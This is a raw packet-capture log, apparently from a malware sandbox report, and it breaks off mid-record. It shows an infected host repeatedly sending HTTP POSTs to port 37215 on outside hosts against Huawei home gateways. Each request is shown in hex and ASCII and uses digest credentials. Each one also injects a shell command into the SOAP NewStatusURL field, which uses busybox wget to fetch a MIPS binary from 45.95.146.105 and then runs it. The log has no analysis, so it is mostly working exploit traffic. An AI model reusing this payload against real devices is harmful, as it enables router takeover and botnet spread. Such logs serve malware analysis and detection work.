Jan 1, 2024 12:54:29.372541904 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:31.388519049 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:35.388528109 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:43.580537081 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:59.708542109 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.13	56828	156.247.29.104	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:30.972434998 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:32.541944027 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:34.396513939 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:38.204510927 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:45.628653049 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 